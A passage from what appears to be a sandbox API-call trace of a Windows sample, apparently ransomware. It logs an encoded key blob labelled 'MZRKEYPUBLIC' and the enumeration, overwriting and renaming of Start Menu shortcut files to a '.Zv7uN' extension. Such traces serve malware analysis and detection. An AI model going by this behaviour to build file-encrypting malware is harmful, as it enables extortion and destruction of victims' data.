7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0134.153] GetCurrentThreadId () returned 0xa30 [0134.153] GetCurrentThreadId () returned 0xa30 [0134.153] GetCurrentThreadId () returned 0xa30 [0134.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0134.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f3c1ec, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0134.154] GetCurrentThreadId () returned 0xa30 [0134.154] GetCurrentThreadId () returned 0xa30 [0134.154] GetCurrentThreadId () returned 0xa30 [0134.154] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.154] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0134.154] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.154] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xbb7 [0134.154] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0134.154] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f43ff0, nNumberOfBytesToRead=0xbb7, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f43ff0*, lpNumberOfBytesRead=0x18f108*=0xbb7, lpOverlapped=0x0) returned 1 [0134.158] CloseHandle (hObject=0x1dc) returned 1 [0134.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0134.160] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f46020*, nNumberOfBytesToWrite=0xbb7, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46020*, lpNumberOfBytesWritten=0x18f114*=0xbb7, lpOverlapped=0x0) returned 1 [0134.162] CloseHandle (hObject=0x1dc) returned 1 [0134.162] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\Microsoft Project Server 2010 Accounts.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools\\microsoft project server 2010 accounts.lnk.zv7un")) returned 1 [0134.163] GetCurrentThreadId () returned 0xa30 [0134.163] GetCurrentThreadId () returned 0xa30 [0134.163] GetCurrentThreadId () returned 0xa30 [0134.163] GetCurrentThreadId () returned 0xa30 [0134.163] GetCurrentThreadId () returned 0xa30 [0134.164] GetCurrentThreadId () returned 0xa30 [0134.164] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 0 [0134.164] GetLastError () returned 0x12 [0134.164] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0134.164] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x642e7b20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x642e7b20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0134.164] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0134.164] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.164] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x642e7b20, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x642e7b20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0134.164] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.164] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.164] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x64190ec0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xba1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Digital Certificate for VBA Projects.lnk.Zv7uN", cAlternateFileName="DIGITA~1.ZV7")) returned 1 [0134.164] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.164] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.165] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x641b7020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb65, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Clip Organizer.lnk.Zv7uN", cAlternateFileName="MICROS~1.ZV7")) returned 1 [0134.165] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.165] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.165] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780122b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x64275700, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xabf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Language Preferences.lnk.Zv7uN", cAlternateFileName="MICROS~2.ZV7")) returned 1 [0134.165] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.165] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.165] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc119ff40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6429b860, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office 2010 Upload Center.lnk.Zv7uN", cAlternateFileName="MICROS~3.ZV7")) returned 1 [0134.165] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.165] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.165] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77fec150, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc1179de0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x642c19c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb3b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Office Picture Manager.lnk.Zv7uN", cAlternateFileName="MICROS~4.ZV7")) returned 1 [0134.165] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x642e7b20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project Server 2010 Accounts.lnk.Zv7uN", cAlternateFileName="MI75B4~1.ZV7")) returned 1 [0134.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x642e7b20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project Server 2010 Accounts.lnk.Zv7uN", cAlternateFileName="MI75B4~1.ZV7")) returned 0 [0134.166] GetLastError () returned 0x12 [0134.166] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7805e570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63fa1ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb3f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft OneNote 2010.lnk.Zv7uN", cAlternateFileName="MIDBFF~1.ZV7")) returned 1 [0134.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63fc7e40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Outlook 2010.lnk.Zv7uN", cAlternateFileName="MIF5FC~1.ZV7")) returned 1 [0134.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63fedfa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb79, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft PowerPoint 2010.lnk.Zv7uN", cAlternateFileName="MI4BE8~1.ZV7")) returned 1 [0134.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.166] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x64014100, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project 2010.lnk.Zv7uN", cAlternateFileName="MIA292~1.ZV7")) returned 1 [0134.166] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.166] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780846d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780846d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6403a260, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbe1, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Publisher 2010.lnk.Zv7uN", cAlternateFileName="MIF6EB~1.ZV7")) returned 1 [0134.167] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.167] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6411eaa0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbef, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft SharePoint Workspace 2010.lnk.Zv7uN", cAlternateFileName="MIDA59~1.ZV7")) returned 1 [0134.167] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.167] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8735be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8735be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64144c00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xacf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Visio 2010.lnk.Zv7uN", cAlternateFileName="MIA5FE~1.ZV7")) returned 1 [0134.167] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.167] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6416ad60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Word 2010.lnk.Zv7uN", cAlternateFileName="MI433D~1.ZV7")) returned 1 [0134.167] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0134.167] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x780aa830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780aa830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6416ad60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xbcd, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Word 2010.lnk.Zv7uN", cAlternateFileName="MI433D~1.ZV7")) returned 0 [0134.167] GetLastError () returned 0x12 [0134.167] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0134.167] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bd780, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb09e38e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x61db6360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x491, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Mozilla Firefox.lnk.Zv7uN", cAlternateFileName="MOZILL~1.ZV7")) returned 1 [0134.168] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0134.168] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0134.168] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: 